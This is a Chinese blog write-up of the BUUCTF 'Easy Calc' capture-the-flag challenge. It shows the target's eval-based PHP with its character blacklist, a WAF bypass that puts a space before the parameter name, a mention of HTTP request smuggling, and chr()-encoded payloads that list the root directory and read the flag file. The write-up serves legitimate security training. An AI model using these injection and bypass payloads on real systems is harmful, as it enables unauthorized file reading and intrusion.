

# Buuctf Easy Calc

原创

Dexret 于 2021-12-07 21:43:11 发布 31 收藏

分类专栏: [buuctfWeb](#) 文章标签: [web安全](#) [安全](#) [buuctf](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/Dexret/article/details/121774879>

版权



[buuctfWeb](#) 专栏收录该内容

9 篇文章 0 订阅

订阅专栏

打开该靶机, 发现为一个计算器

尝试写一个xss的payload测试一下



CSDN @Dexret

再尝试一下SQL注入

# 表达式

1'

答案:what are you want to do?

计算

0

CSDN @Dexret

两次尝试都不行，该网页应该存在waf，查看该网页的源代码

换行

```
1 <!DOCTYPE html>
2 <html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
3 <title>简单的计算器</title>
4
5 <meta name="viewport" content="width=device-width, initial-scale=1">
6 <link rel="stylesheet" href="//libs/boostrap.min.css">
7 <script src="//libs/jquery-3.3.1.min.js"></script>
8 <script src="//libs/boostrap.min.js"></script>
9 </head>
10 <body>
11
12 <div class="container text-center" style="margin-top:30px;">
13 <h2>表达式</h2>
14 <form id="calc">
15 <div class="form-group">
16 <input type="text" class="form-control" id="content" placeholder="输入计算式" data-com.agilebits.onepassword.user-edited="yes">
17 </div>
18 <div id="result"><div class="alert alert-success">
19 </div></div>
20 <button type="submit" class="btn btn-primary">计算</button>
21 </form>
22 </div>
23 <!--I've set up WAF to ensure security.-->
24 <script>
25 $( "#calc" ).submit(function() {
26 $.ajax({
27 url: "calc.php?num="+encodeURIComponent($("#content").val()),
28 type: "GET",
29 success: function(data) {
30 $("#result").html("<div class='alert alert-success'>
31 <strong>答案:</strong>"+data)
32 </div>");
33 },
34 error: function() {
35 alert("这啥?算不来!");
36 }
37 })
38 return false;
39 }
40 </script>
41
42 </body></html>
```

CSDN @Dexret

发现有一个网页，访问一下该网页

```
<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}
else{
    $str = $_GET['num'];
    $blacklist = ['<','>','\n','\r','\t','\0','\x00','\x01','\x02','\x03','\x04','\x05','\x06','\x07','\x08','\x09','\x0a','\x0b','\x0c','\x0d','\x0e','\x0f','\x10','\x11','\x12','\x13','\x14','\x15','\x16','\x17','\x18','\x19','\x1a','\x1b','\x1c','\x1d','\x1e','\x1f','\x20','\x21','\x22','\x23','\x24','\x25','\x26','\x27','\x28','\x29','\x2a','\x2b','\x2c','\x2d','\x2e','\x2f','\x30','\x31','\x32','\x33','\x34','\x35','\x36','\x37','\x38','\x39','\x3a','\x3b','\x3c','\x3d','\x3e','\x3f','\x40','\x41','\x42','\x43','\x44','\x45','\x46','\x47','\x48','\x49','\x4a','\x4b','\x4c','\x4d','\x4e','\x4f','\x50','\x51','\x52','\x53','\x54','\x55','\x56','\x57','\x58','\x59','\x5a','\x5b','\x5c','\x5d','\x5e','\x5f','\x60','\x61','\x62','\x63','\x64','\x65','\x66','\x67','\x68','\x69','\x6a','\x6b','\x6c','\x6d','\x6e','\x6f','\x70','\x71','\x72','\x73','\x74','\x75','\x76','\x77','\x78','\x79','\x7a','\x7b','\x7c','\x7d','\x7e','\x7f','\x80','\x81','\x82','\x83','\x84','\x85','\x86','\x87','\x88','\x89','\x8a','\x8b','\x8c','\x8d','\x8e','\x8f','\x90','\x91','\x92','\x93','\x94','\x95','\x96','\x97','\x98','\x99','\x9a','\x9b','\x9c','\x9d','\x9e','\x9f','\xa0','\xa1','\xa2','\xa3','\xa4','\xa5','\xa6','\xa7','\xa8','\xa9','\xaa','\xab','\xac','\xad','\xae','\xaf','\xb0','\xb1','\xb2','\xb3','\xb4','\xb5','\xb6','\xb7','\xb8','\xb9','\xba','\xbb','\xbc','\xbd','\xbe','\xbf','\xc0','\xc1','\xc2','\xc3','\xc4','\xc5','\xc6','\xc7','\xc8','\xc9','\xca','\xcb','\xcc','\xcd','\xce','\xcf','\xd0','\xd1','\xd2','\xd3','\xd4','\xd5','\xd6','\xd7','\xd8','\xd9','\xda','\xdb','\xdc','\xdd','\xde','\xdf','\xe0','\xe1','\xe2','\xe3','\xe4','\xe5','\xe6','\xe7','\xe8','\xe9','\xea','\xeb','\xec','\xed','\xee','\xef','\xf0','\xf1','\xf2','\xf3','\xf4','\xf5','\xf6','\xf7','\xf8','\xf9','\xfa','\xfb','\xfc','\xfd','\xfe','\xff'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/'. $blackitem . '/m', $str)) {
            die("what are you want to do?");
        }
    }
    eval('echo '.$str.';');
}
?>
```

发现为网页所过滤的一些规则，而且该网页应该是由calc.php对其进行传参

尝试看一下该网页有没有phpinfo页面



报了个403的错误，服务器上文件或目录拒绝访问

应该存在waf，尝试绕过一下waf，这里有两种绕过waf的方法

- 在num前添加%20(空格)绕过对num的检测
- HTTP走私之重复Content-Length绕过

PHP Version 7.0.30-0ubuntu0.16.04.1

System	Linux 3962de955a10 4.19.164-0419164-generic #202012300642 SMP Wed Dec 30 12:21:09 UTC 2020 x86_64
Server API	Apache 2.0 Handler
Virtual Directory Support	disabled
Configuration File (php.ini) Path	/etc/php/7.0/apache2
Loaded Configuration File	/etc/php/7.0/apache2/php.ini
Scan this dir for additional .ini files	/etc/php/7.0/apache2/conf.d
Additional .ini files parsed	/etc/php/7.0/apache2/conf.d/10-mysqld.ini, /etc/php/7.0/apache2/conf.d/10-opcache.ini, /etc/php/7.0/apache2/conf.d/10-pdo.ini, /etc/php/7.0/apache2/conf.d/20-calendar.ini, /etc/php/7.0/apache2/conf.d/20-ctype.ini, /etc/php/7.0/apache2/conf.d/20-curl.ini, /etc/php/7.0/apache2/conf.d/20-exif.ini, /etc/php/7.0/apache2/conf.d/20-fileinfo.ini, /etc/php/7.0/apache2/conf.d/20-ftp.ini, /etc/php/7.0/apache2/conf.d/20-gettext.ini, /etc/php/7.0/apache2/conf.d/20-iconv.ini, /etc/php/7.0/apache2/conf.d/20-json.ini, /etc/php/7.0/apache2/conf.d/20-mysqli.ini, /etc/php/7.0/apache2/conf.d/20-pdo_mysql.ini, /etc/php/7.0/apache2/conf.d/20-phar.ini, /etc/php/7.0/apache2/conf.d/20-posix.ini, /etc/php/7.0/apache2/conf.d/20-readline.ini, /etc/php/7.0/apache2/conf.d/20-shmop.ini, /etc/php/7.0/apache2/conf.d/20-sockets.ini, /etc/php/7.0/apache2/conf.d/20-sysmsg.ini, /etc/php/7.0/apache2/conf.d/20-sysvsem.ini, /etc/php/7.0/apache2/conf.d/20-sysvshm.ini, /etc/php/7.0/apache2/conf.d/20-tokenizer.ini
PHP API	20151012
PHP Extension	20151012
Zend Extension	320151012
Zend Extension Build	API320151012,NTS
PHP Extension Build	API20151012,NTS
Debug Build	no
Thread Safety	disabled
Zend Signal Handling	disabled
Zend Memory Manager	enabled
Zend Multibyte Support	disabled
IPv6 Support	enabled
DTrace Support	available, disabled
Registered PHP Streams	https, ftps, compress.zlib, dhcp, file, glob, data, http, ftp, odbc

查看一下disable\_functions，看看禁用哪些函数

Core

PHP Version	7.0.30-0ubuntu0.16.04.1	
Directive	Local Value	Master Value
allow_url_fopen	On	On
allow_url_include	Off	Off
arg_separator.input	&	&
arg_separator.output	&	&
auto_append_file	no value	no value
auto_globals_jit	On	On
auto_prepend_file	no value	no value
browscap	no value	no value
default_charset	UTF-8	UTF-8
default_mimetype	text/html	text/html
disable_classes	no value	no value
disable_functions	passthru,exec,system,chroot,chmod,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,chdir,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wifwaited,pcntl_wiferrormsg,pcntl_wifsyscall,pcntl_wifsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,putenv,opendir,imap_open,mail,imap_mail,ini_set,apache_setenv,link,	passthru,exec,system,chroot,chmod,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,chdir,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wifwaited,pcntl_wiferrormsg,pcntl_wifsyscall,pcntl_wifsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,putenv,opendir,imap_open,mail,imap_mail,ini_set,apache_setenv,link,
display_errors	Off	Off
display_startup_errors	Off	Off
doc_root	no value	no value
docref_ext	no value	no value
docref_root	no value	no value
enable_dl	Off	Off
enable_post_data_reading	On	On
error_append_string	no value	no value

虽然很多函数都用不了了，但是还有个scandir()函数可以用

课程表

PHP 基础教程

- PHP 教程
- PHP 简介
- PHP 安装
- PHP 语法
- PHP 变量
- PHP Echo / Print
- PHP 数据类型
- PHP 字符串函数
- PHP 常量
- PHP 运算符
- PHP if..Else
- PHP Switch
- PHP While 循环
- PHP For 循环
- PHP 函数
- PHP 数组
- PHP 数组排序
- PHP 超全局

PHP 表单

- PHP 表单处理
- PHP 表单验证
- PHP 表单必填
- PHP 表单 URL/E-mail
- PHP 表单完成

PHP 高级教程

- PHP 多维数组

## PHP scandir() 函数

[PHP Directory 函数](#)

**实例**

列出 images 目录中的文件和目录:

```
<?php
$dir = "/images/";

// 以升序排序 - 默认
$a = scandir($dir);

// 以降序排序
$b = scandir($dir,1);

print_r($a);
print_r($b);
?>
```

结果:

```
Array
(
    [0] => .
    [1] => ..
    [2] => cat.gif
    [3] => dog.gif
    [4] => horse.gif
    [5] => myimages
)
```

工具箱

- 参考书
- 小测验

CSDN @Dexret

但是又因为waf存在，使很多字符都无法使用，这里百度了一下(看了一下大佬的wp)，我们可以利用chr函数对其进行绕过，但是在php里我们不能直接输出，要用var\_dump或者print\_r，这两个函数都可以把flag打印出来，print\_r和var\_dump都能输出数组和对象，但print\_r对布尔型的输出不太明显；var\_dump输出比较详细，一般调试时用得比较多

构造payload

```
/calc.php?%20num=var_dump(scandir(chr(47)))
```

不安全 | node4.buuoj.cn:27290/calc.php?%20num=var\_dump(scandir(chr(47)))

```
array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "flag" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }
```

在这里看到了f1agg，应该为本题的flag所在

利用file\_get\_contents()进行读取

```
/calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
```

node4.buuoj.cn:25457/calc.php?%20num=file\_get\_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

flag{208301f8-9995-4bce-905c-150c1a94dcb2}

CSDN @Dexret

得到该题的flag

```
flag{208301f8-9995-4bce-905c-150c1a94dcb2}
```